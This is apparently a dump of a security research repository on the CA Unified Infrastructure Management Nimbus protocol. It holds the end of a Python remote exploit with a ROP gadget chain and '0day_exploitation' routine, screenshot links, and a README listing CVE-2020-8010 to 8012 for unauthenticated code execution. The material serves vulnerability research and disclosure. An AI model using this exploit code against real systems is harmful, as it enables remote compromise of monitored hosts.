ret 95 | 0x00000001401a3000, # ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE ) 96 | 0x00000001400af237, # pop rdi ; ret 97 | 0x0000000000000007, # [RSP ALIGNMENT] 98 | 0x0000000140025dab] # add esp, edi ; adc byte [rax], al ; add rsp, 0x0000000000000278 ; ret 99 | 100 | return ''.join(struct.pack(' " % sys.argv[0]) 281 | sys.exit(-1) 282 | 283 | c = validate_vulnerability(rhost, rport) 284 | c.check_vulnerability() 285 | 286 | e = nimbus_0day_exploitation(rhost, rport) 287 | e.exploit() 288 | 289 | main() 290 | -------------------------------------------------------------------------------- /0xFF - Screenshots/Improper ACL Handling/rce.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wetw0rk/CA-UIM-Nimbus-Research/81292ac826ceed5ccf4a3ba27727d327836685a2/0xFF - Screenshots/Improper ACL Handling/rce.gif -------------------------------------------------------------------------------- /0xFF - Screenshots/Improper ACL Handling/rce2.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wetw0rk/CA-UIM-Nimbus-Research/81292ac826ceed5ccf4a3ba27727d327836685a2/0xFF - Screenshots/Improper ACL Handling/rce2.gif -------------------------------------------------------------------------------- /0xFF - Screenshots/NULL Pointer Dereference/hasta_luego.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wetw0rk/CA-UIM-Nimbus-Research/81292ac826ceed5ccf4a3ba27727d327836685a2/0xFF - Screenshots/NULL Pointer Dereference/hasta_luego.gif -------------------------------------------------------------------------------- /0xFF - Screenshots/Out Of Bounds Write/handler.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wetw0rk/CA-UIM-Nimbus-Research/81292ac826ceed5ccf4a3ba27727d327836685a2/0xFF - Screenshots/Out Of Bounds Write/handler.png -------------------------------------------------------------------------------- /0xFF - Screenshots/Out Of Bounds Write/module.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wetw0rk/CA-UIM-Nimbus-Research/81292ac826ceed5ccf4a3ba27727d327836685a2/0xFF - Screenshots/Out Of Bounds Write/module.gif -------------------------------------------------------------------------------- /0xFF - Screenshots/Out Of Bounds Write/poc_release.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wetw0rk/CA-UIM-Nimbus-Research/81292ac826ceed5ccf4a3ba27727d327836685a2/0xFF - Screenshots/Out Of Bounds Write/poc_release.png -------------------------------------------------------------------------------- /0xFF - Screenshots/Tools/nimfuzz.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wetw0rk/CA-UIM-Nimbus-Research/81292ac826ceed5ccf4a3ba27727d327836685a2/0xFF - Screenshots/Tools/nimfuzz.png -------------------------------------------------------------------------------- /0xFF - Screenshots/Tools/vulnChecker.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wetw0rk/CA-UIM-Nimbus-Research/81292ac826ceed5ccf4a3ba27727d327836685a2/0xFF - Screenshots/Tools/vulnChecker.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CA Unified Infrastructure Management Research 2 | 3 | ## Research 4 | 5 | This repository will contain the majority of code written during my analysis of the Nimbus protocol. Unfortunately during the madness of everything I lost a few snippets. What originally spawned my curiosity to research this protocol was a recent pentest where we were able to get operating system information, installation directories, and more. All from an UNAUTHENTICATED perspective. Making this protocol BETTER than SNMP from an attacking perspective. In addition to this cloud providers have hundreds if not thousands of hosts running this protocol to monitor hosts. 6 | 7 | ## Vulnerabilities 8 | 9 | | CVE | Description | 10 | | ------------- | ------------- | 11 | | CVE-2020-8010 | A remote attacker can execute commands, read from, or write to the target system. | 12 | | CVE-2020-8011 | A remote attacker can crash the Controller service. | 13 | | CVE-2020-8012 | A remote attacker can execute arbitrary code. | 14 | 15 | ## Terminology 16 | 17 | The following information was gathered from previous research done by [gdssecurity.](https://blog.gdssecurity.com/labs/2015/3/16/nimbus-protocol-enumeration-with-nmap.html) 18 | 19 | - Domain: The Nimsoft domain is the logical descriptor that makes up many servers formed in a hierarchical structure. The domain is made up of Hubs and Robots. 20 | - Robot: Every managed server that has Nimsoft installed on it will be known as a Robot. The Robot manages all Probes that can be configured. 21 | - Hub: As part of a hierarchical architecture, a Hub is also a Robot but has the ability to manage child Robots in a tree-like structure. A Hub manages a group of Robots and maintains central services. 22 | - Probe: The specific program created that runs on a Robot. For example, there is a Hub probe that turns a Robot into a Hub. 23 | - Primary Hub: This is the first choice Hub for a given Robot. A Robot can have many parent Hubs, and the Primary is where most messages get sent. 24 | --------------------------------------------------------------------------------